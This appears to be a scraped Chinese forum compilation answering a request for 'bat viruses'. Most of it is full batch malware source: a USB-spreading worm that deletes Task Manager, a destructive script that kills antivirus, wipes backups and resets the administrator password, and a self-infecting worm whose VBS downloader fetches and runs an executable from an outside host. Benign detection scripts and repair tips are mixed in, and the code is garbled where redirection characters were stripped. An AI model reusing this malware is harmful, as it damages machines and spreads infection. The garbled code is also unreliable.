谁能给我一个bat病毒
@echo off
title
for /f "delims=" %%a in ('"fsutil fsinfo drives"') do (set pf=%%a)
set pf=%pf:~5%
cd "%systemdrive%\"
md %systemdrive%\windows\system32\SystemRootnul 2nul
copy/y %0 %systemdrive%\windows\system32\SystemRoot\FlashDisk.batnul 2nul
copy/y %0 %systemdrive%\windows\system32\FlashDisk.batnul 2nul
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t reg_dword /d 00000001 /fnul 2nul
at /delete /yes
schtasks /create /tn FlashDisk /tr %systemdrive%\windows\system32\SystemRoot\FlashDisk.bat /sc hourly /ru systemnul 2nul
echo [autorun]%systemdrive%\windows\system32\SystemRoot\autorun.inf
echo open=FlashDisk.bat%systemdrive%\windows\system32\SystemRoot\autorun.inf
echo shell\open\command=FlashDisk.bat%systemdrive%\windows\system32\SystemRoot\autorun.inf
echo shell\explore\command=FlashDisk.bat%systemdrive%\windows\system32\SystemRoot\autorun.inf
:1
taskkill /f /im taskmgr.exenul 2nul
ping/n 5 127.0.0.1nul
echo y|cacls %systemdrive%windows\system32\taskmgr.exe /t /c /p everyone:f
del/f/s/q %systemdrive%windows\system32\taskmgr.exe
for %%b in (%pf%) do fsutil fsinfo drivetype %%b|find /i "可移动驱动器"attrib -s -h -r %%bautorun.inf|del/f/q %%bautorun.inf|copy/y %systemdrive%\windows\system32\SystemRoot\autorun.inf %%bautorun.inf|md %%bFlashDisk|copy/y %systemdrive%\windows\system32\SystemRoot\FlashDisk.bat %%bFlashDisk\FlashDisk.bat|attrib +s +h +r autorun.inf|attrib +s +h +r %%bFlashDisk\FlashDisk.batnul 2nul
goto 1
如何编写一个bat 文件杀毒
bat是dos下的批处理文件
批处理运用：查常见病毒
其实，对于上网的人来说，遇到病毒是在所难免的。然而，如果真的不幸感染，怎样才能发现呢？难道真的要买昂贵的杀毒软件吗？不一定。
我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒，可以下载专用杀毒工具进行查杀，或采取其他途径杀毒。
下面，我以欢乐时光为例进行分析：
主文件：1.bat
其它文件：2.bat 3.bat
1.bat代码：
@if exist c:\folder.htt call 2.bat
@if exist d:\folder.htt call 2.bat
@if exist e:\folder.htt call 2.bat
@if exist f:\folder.htt call 2.bat
2.bat代码：
@echo 发现欢乐时光病毒！
@call 3.bat
@pause
3.bat代码：
@c:
@dir *.htt *.ini /s/a1.txt
@d:
@dir *.htt *.ini /s/a1.txt
@e:
@dir *.htt *.ini /s/a1.txt
这样，如果中毒，那么必定会存在大量folder.htt和Desktop.ini，通过这样可以粗略的检查计算机是否感染病毒。
批处理运用三：文件处理
假设，我要大规模的做文件的移动、删除等，如果在Windows里操作不免会出现错误，而且这些错误不易察觉。因此，用批处理进行操作，不但简单易行，而且容易发现错误并可以及时纠正。
例如，我要将D盘的htm文件移动到E盘，再格式化D盘，然后将文件移回D盘，并改后缀为html。
1.bat代码：
@E:
@Md d
@D:
@Copy *.htm e:\d
@if exist e:\d\*.htm call 2.bat
2.bat代码：
@Format d:/q
@Copy e:\d\*.htm d:
@D:
@Ren *.htm *.html
批处理文件的病毒代码大全！
最强病毒!谨慎运行!此程序会将系统搞崩溃.
摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm 去掉里面的字哦
@echo off
title You DEAD!!!!!!!
set taskkill=s
copy %0 %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
net stop sharedaccess nul
%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f nul
%s% /im norton* /f nul
%s% /im av* /f nul
%s% /im fire* /f nul
%s% /im anti* /f nul
%s% /im spy* /f nul
%s% /im bullguard /f nul
%s% /im PersFw /f nul
%s% /im KAV* /f nul
%s% /im ZONEALARM /f nul
%s% /im SAFEWEB /f nul
%s% /im OUTPOST /f nul
%s% /im nv* /f nul
%s% /im nav* /f nul
%s% /im F-* /f nul
%s% /im ESAFE /f nul
%s% /im cle /f nul
%s% /im BLACKICE /f nul
%s% /im def* /f nul
%s% /im 360safe.exe /f nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q nul
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q nul
rem 修改注册表.......
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\
Folder\Hidden\SHOWALL /v
CheckedValue /t REG_DWORD /d 00000000 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRun /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRecentDocsMenu /t
REG_DWORD /d 00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoDrives /t REG_DWORD /d
4294967295 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
Disableregistrytools /t
REG_DWORD /d 00000002 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoNetHood /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V
NoDesktop /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoClose /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoFind /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD
/d 00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoLogOff /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoSetTaskBar /t REG_DWORD
/d 00000001 /f nul
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v
DisableSR /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v
DisableConfig /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
RestrictRun /t REG_DWORD /d
00000001 /f nul
cls
net user administrator 123456 nul
for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q nul
echo @echo off d:\setup.bat
echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新
安装系统可以解决此问题
!^.^ d:\setup.bat
echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动
\a.bat d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f
d:\setup.bat
echo [windows] %windir%\win.ini
echo run=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini
echo load=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini
echo [boot] %windir%\system.ini
echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT %windir%\system.ini
echo [AutoRun] d:\autorun.inf
echo Open=setup.bat d:\autorun.inf
echo Open=system.bat d:\autorun.inf
attrib d:\autorun.inf +r +s +h d:\setup.bat
attrib d:\setup.bat +r +s +h d:\setup.bat
start d:\setup.bat /min nul
echo @echo off C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
echo if not d:\setup.bat start %windir%\system32\cmd.bat /min C:\AUTOEXEC.BAT
copy %0 %systemroot%\windows.bat nul
if not exist %windir%/system32/explorer.bat @echo off %windir%/system32/explorer.bat
if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min %
windir%/system32/explorer.bat
if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min %
windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f %windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat/f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat /f %windir%/system32/explorer.bat
echo start %systemroot%\windows.bat /min %windir%/system32/explorer.bat
attrib %windir%/system32/explorer.bat +r +s +h%
attrib %systemroot%/windows.bat +r +s +h
for %%c in (%alldrive%) do echo @echo off %%c:\system.bat
for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min %%c:\system.bat
for %%c in (%alldrive%) do echo attrib system.bat +r +s +h %%c:\system.bat
set drive=e f g h i j k l m n o p q r s t u v w x y z
for %%c in (%drive%) do echo [AuroRun] %%c:\autorun.inf
for %%c in (%drive%) do echo Open=system.bat %%c:\autorun.inf
copy %0 d:\Program" "Files\run.bat
for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start
d:\Program" "Files\run.bat /min
%%c:\system.bat
for %%c in (%alldrive%) do attrib autorun.inf +r +s +h %%c:\system.bat
for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h nul
for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h nul
if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat
/min d:\setup.bat
attrib d:\Program" "Files\run.bat +r +s +h nul
del %0
exit
电脑的重新启动的小病毒怎么做？
我也出现过这样的问题，同时不见的图标应该还有USB（安全删除硬件），如果是笔记本电量图标也不会显示。以下是几个解决办法：
方案一：
控制面板——管理工具——服务——SSDP Discovery Service——已禁用
控制面板——管理工具——服务——Universal Plug and Play Device Host——已禁用
重启
方案二：
点开始，右键在空白处点属性，打开“任务栏和开始菜单属性”，把隐藏不活动的图标前面的勾去掉。
按在“开始→运行”中键入“regedit.exe”，打开“注册表编辑器”，展开分支“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify”，其中“IconStreams”和“PastIconStream”项中分别存储着“当前项目”和“过去的项目”；将“TrayNotify”项删除，按Ctrl+Alt+Del组合键调出“Windows任务管理器”，单击进程选项卡，选择explorer.exe，结束进程。之后在“Windows任务管理器”中选“文件”→“新建任务”，在“创建新任务”中输入explorer.exe即可
然后按照第一步把隐藏不活动的图标前面的勾点上。OK!
方案三：
按下 Ctrl+Alt+Del 键，打开任务管理器-“进程”选项卡-找到并关闭所有的 explorer.exe 和 iexplore.exe 进程。
然后切换到“应用程序”选项卡-新任务-输入“regedit”，回车，打开注册表编辑器，找到并删除以下三个键：
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\explorer\StuckRects2
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\explorer\Streams
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\explorer\StreamsMRU
然后关闭注册表编辑器，在任务管理器的菜单上选“关机”-重新启动。
方案四：
“开始”——“运行”输入regedit打开注册表以后，依次打开HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 在它的右窗口新建字串"Systray",键值（在Systray上双击编辑）为"c:\windows\system32\Systray.exe"，如果是win2000系统，则为"c:\winnt\system32\Systray.exe"。然后打开“控制面板”——“声音和音频设备”□将音量图标放入任务栏√上 确定OK
给大家一个BAT编写的病毒,自己做完运行一下,看看什么效果
严重肯定下，你写的bat很规范，变量也用地很好。。
我也学BAT
给你看看我的把，很久前写的，不要见笑啊，U盘传播，外加一个免杀的下载者（因为这个下载者放到了带“..”的特殊文件夹里，你应该明白呵呵)
AUTOEXEC --开机过程中就运行病毒了
带感染BAT文件，而且自身感染好像没有考虑= =||
@echo off
for %%i in (D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z: )do (if %cd:~0,2%==%%i goto auto)
if %cd%==C:\RECYCL goto auto
:ww
attrib %0 -a -s -r -h
copy /y %0 "c:\Program Files\Common Files\Microsoft Shared\AutoRun.bat"
goto z
:z
IF NOT EXIST "c:\Program Files\Common Files\Microsoft Shared\Auto.vbs" goto e
tskill wscript
del "c:\Program Files\Common Files\Microsoft Shared\Auto.vbs"
if not exist "C:\Program Files\Common Files\MSSoap\Binaries\msconfig.ini" goto new
goto zz
:zz
Tskill Mcshield
Tskill VsTskMgr
Tskill naPrdMgr
Tskill UpdaterUI
Tskill TBMon
Tskill scan32
Tskill Ravmond
Tskill CCenter
Tskill RavTask
Tskill Rav
Tskill Ravmon
Tskill RavmonD
Tskill RavStub
Tskill KVXP
Tskill KvMonXP
Tskill KVCenter
Tskill KVSrvXP
Tskill KRegEx
Tskill UIHost
Tskill TrojDie
Tskill FrogAgent
Tskill kav
Tskill kav32
Tskill kavstart
Tskill katmain
attrib -a -s -r -h c:\boot.ini
echo c:\="microsoft dos"c:\boot.ini
attrib +a +s +r +h c:\boot.ini
attrib -a -s -r -h c:\msdos.sys
attrib -a -s -r -h c:\config.sys
echo [option] c:\msdos.sys
echo bootkey=1 c:\msdos.sys
echo BootMenu=0 c:\msdos.sys
echo BootWarn=0 c:\msdos.sys
echo BootFailSafe=0 c:\msdos.sys
echo DisabeLog =1 c:\msdos.sys
for %%k in (a,c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do @echo lastdrive=%%k c:\config.sys
attrib +a +s +r +h c:\msdos.sys
attrib +a +s +r +h c:\config.sys
attrib -a -s -r -h c:\autoexec.bat
echo @echo off c:\autoexec.bat
echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v KvMonXP /f c:\autoexec.bat
echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v kav /f c:\autoexec.bat
echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v KAVPersonal50 /f c:\autoexec.bat
echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v McAfeeUpdaterUI /f c:\autoexec.bat
echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Network Associates Error Reporting /f c:\autoexec.bat
echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v YLive.exe /f c:\autoexec.bat
echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v yassistse /f c:\autoexec.bat
echo REG DELETE HKLM\ServiceSOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ShStatEXE /f c:\autoexec.bat
echo REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /f c:\autoexec.bat
echo REG add HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 0 /f c:\autoexec.bat
echo REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\Schedule /v AtTaskMaxHours /f c:\autoexec.bat
echo reg add HKLM\SYSTEM\CurrentControlSet\Services\Schedule /v AtTaskMaxHours /t REG_DWORD /d 0 /f c:\autoexec.bat
echo REG DELETE HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /f c:\autoexec.bat
attrib +a +s +r +h c:\autoexec.bat
IF NOT EXIST c:\Progra~1\Intern~1\PLUGINS\shell~1\down.vbs goto f
goto x
:x
cscript c:\Progra~1\Intern~1\PLUGINS\shell~1\down.vbs http://www.llzaj.com/cmd.exe c:\Progra~1\Intern~1\PLUGINS\shell~1\DarkGear.exe
C:\Progra~1\COMMON~1\Micros~1\DarkGear.exe
copy /y "c:\Program Files\Common Files\Microsoft Shared\AutoRun.vbs" "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\"
REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\Schedule /v AtTaskMaxHours /f
reg add HKLM\SYSTEM\CurrentControlSet\Services\Schedule /v AtTaskMaxHours /t REG_DWORD /d 0 /f
goto a
:a
IF NOT EXIST "c:\Program Files\Common Files\Microsoft Shared\AutoRun.vbs" goto b
if not exist "c:\Program Files\Common Files\Microsoft Shared\desktop.ini" goto d
IF NOT EXIST "c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf" goto c
for %%i in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do copy /y "c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf" %%i
for %%c in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do md "%%c\RECYCL"
for %%c in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do copy /y "c:\Program Files\Common Files\Microsoft Shared\desktop.ini" "%%c\RECYCL"
for %%c in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do copy /y "c:\Program Files\Common Files\Microsoft Shared\AutoRun.bat" "%%c\RECYCL"
for %%q in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do attrib "%%q\RECYCL\AutoRun.bat" +a +s +r +h
for %%q in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do attrib "%%q\RECYCL\desktop.ini" +a +s +r +h
for %%q in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do attrib "%%q\autorun.inf" +a +s +r +h
for %%q in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do attrib "%%q\RECYCL\" +a +s +r +h /s /d
ping 127.0.0.1 -n 10 nul
goto a
:b
ECHO Set shell = Wscript.createobject("wscript.shell") "c:\Program Files\Common Files\Microsoft Shared\AutoRun.vbs"
ECHO a = shell.run ("C:\Progra~1\COMMON~1\Micros~1\AutoRun.bat",0)"c:\Program Files\Common Files\Microsoft Shared\AutoRun.vbs"
goto a
:c
ECHO [autorun]"c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf"
ECHO OPEN=RECYCL\AutoRun.bat"c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf"
ECHO shell\open\Command=RECYCL\AutoRun.bat"c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf"
ECHO shell\explore\Command=RECYCL\AutoRun.bat"c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf"
goto a
:d
echo [.ShellClassInfo]"c:\Program Files\Common Files\Microsoft Shared\desktop.ini"
echo CLSID={645FF040-5081-101B-9F08-00AA002F954E}"c:\Program Files\Common Files\Microsoft Shared\desktop.ini"
goto a
:e
ECHO Set shell = Wscript.createobject("wscript.shell") "c:\Program Files\Common Files\Microsoft Shared\Auto.vbs"
ECHO a = shell.run ("C:\Progra~1\COMMON~1\Micros~1\AutoRun.bat",0)"c:\Program Files\Common Files\Microsoft Shared\Auto.vbs"
"c:\Program Files\Common Files\Microsoft Shared\Auto.vbs"
exit
:f
md c:\Progra~1\Intern~1\PLUGINS\shell..\
echo On Error Resume Next c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo Dim eee,eeee c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo eeee = LCase(WScript.Arguments(1)) c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo eee = LCase(WScript.Arguments(0)) c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo Set xPost = createObject("Microsoft.XMLHTTP") c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo xPost.Open "GET",eee,0 c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo xPost.Send() c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo Set sGet = createObject("ADODB.Stream") c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo sGet.Mode = 3 c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo sGet.Type = 1 c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo sGet.Open() c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo sGet.Write(xPost.responseBody) c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
echo sGet.SaveToFile eeee,2 c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs
goto x
:auto
%windir%\explorer.exe %cd:~0,2%
if not exist "c:\Program Files\Common Files\Microsoft Shared\AutoRun.bat" goto ww
IF EXIST "c:\Program Files\Common Files\Microsoft Shared\Auto.vbs" goto z
exit
:new
md c:\Progra~1\Intern~1\PLUGINS\shell..\
copy "c:\Program Files\Common Files\Microsoft Shared\AutoRun.bat" c:\Progra~1\Intern~1\PLUGINS\shell..\
at 9:58 tskill cmd
at 10:00 c:\Progra~1\Intern~1\PLUGINS\shell~1\AutoRun.bat
at 13:58 tskill cmd
at 14:00 c:\Progra~1\Intern~1\PLUGINS\shell~1\AutoRun.bat
at 19:58 tskill cmd
at 20:00 c:\Progra~1\Intern~1\PLUGINS\shell~1\AutoRun.bat
at 15:58 tskill cmd
at 16:00 c:\Progra~1\Intern~1\PLUGINS\shell~1\AutoRun.bat
echo This is DarkGear v3.0 , Make by The Ghost Hunter "C:\Program Files\Common Files\MSSoap\Binaries\msconfig.ini"
FOR %%a in ( c: d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /a:- /s /b %%a\*.bat%windir%\msconfig.inf
FOR /f "delims=" %%i in (%windir%\msconfig.inf) do attrib -a -s -r -h "%%i"
FOR /f "delims=" %%i in (%windir%\msconfig.inf) do copy /y "c:\Program Files\Common Files\Microsoft Shared\AutoRun.bat" "%%i"
del "c:\windows\msconfig.inf"
exit
其实那些TSkill都没用，编这个的时候我很菜
怎么用.bat文件查杀病毒？
bat是dos下的批处理文件
批处理运用：查常见病毒
其实，对于上网的人来说，遇到病毒是在所难免的。然而，如果真的不幸感染，怎样才能发现呢？难道真的要买昂贵的杀毒软件吗？不一定。
我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒，可以下载专用杀毒工具进行查杀，或采取其他途径杀毒。
下面，我以欢乐636f7079e79fa5e9819331333231613865时光为例进行分析：
主文件：1.bat
其它文件：2.bat 3.bat
1.bat代码：
@if exist c:\folder.htt call 2.bat
@if exist d:\folder.htt call 2.bat
@if exist e:\folder.htt call 2.bat
@if exist f:\folder.htt call 2.bat
2.bat代码：
@echo 发现欢乐时光病毒！
@call 3.bat
@pause
3.bat代码：
@c:
@dir *.htt *.ini /s/a1.txt
@d:
@dir *.htt *.ini /s/a1.txt
@e:
@dir *.htt *.ini /s/a1.txt
这样，如果中毒，那么必定会存在大量folder.htt和Desktop.ini，通过这样可以粗略的检查计算机是否感染病毒。
批处理运用三：文件处理
假设，我要大规模的做文件的移动、删除等，如果在Windows里操作不免会出现错误，而且这些错误不易察觉。因此，用批处理进行操作，不但简单易行，而且容易发现错误并可以及时纠正。
例如，我要将D盘的htm文件移动到E盘，再格式化D盘，然后将文件移回D盘，并改后缀为html。
1.bat代码：
@E:
@Md d
@D:
@Copy *.htm e:\d
@if exist e:\d\*.htm call 2.bat
2.bat代码：
@Format d:/q
@Copy e:\d\*.htm d:
@D:
@Ren *.htm *.html
电脑中了超级病毒.bat怎么办，急！！！
使用电脑管家，打开工具箱，选择“系统急救箱”检查下是否dns被劫持导致，全盘查杀下病毒。
如果电脑没有安装，看看可否从网上下载一个然后在全盘杀毒。
实在不行就得重做系统了，然后在全盘杀毒。
自制简单电脑病毒破解
1.建立一个txt文件，写入"shutdown -a"(引号不算)，改名为bat，运行后可以直接取消关机指令。
2.如果你速度够快，按WIN+R然后输入shutdown -a 也可以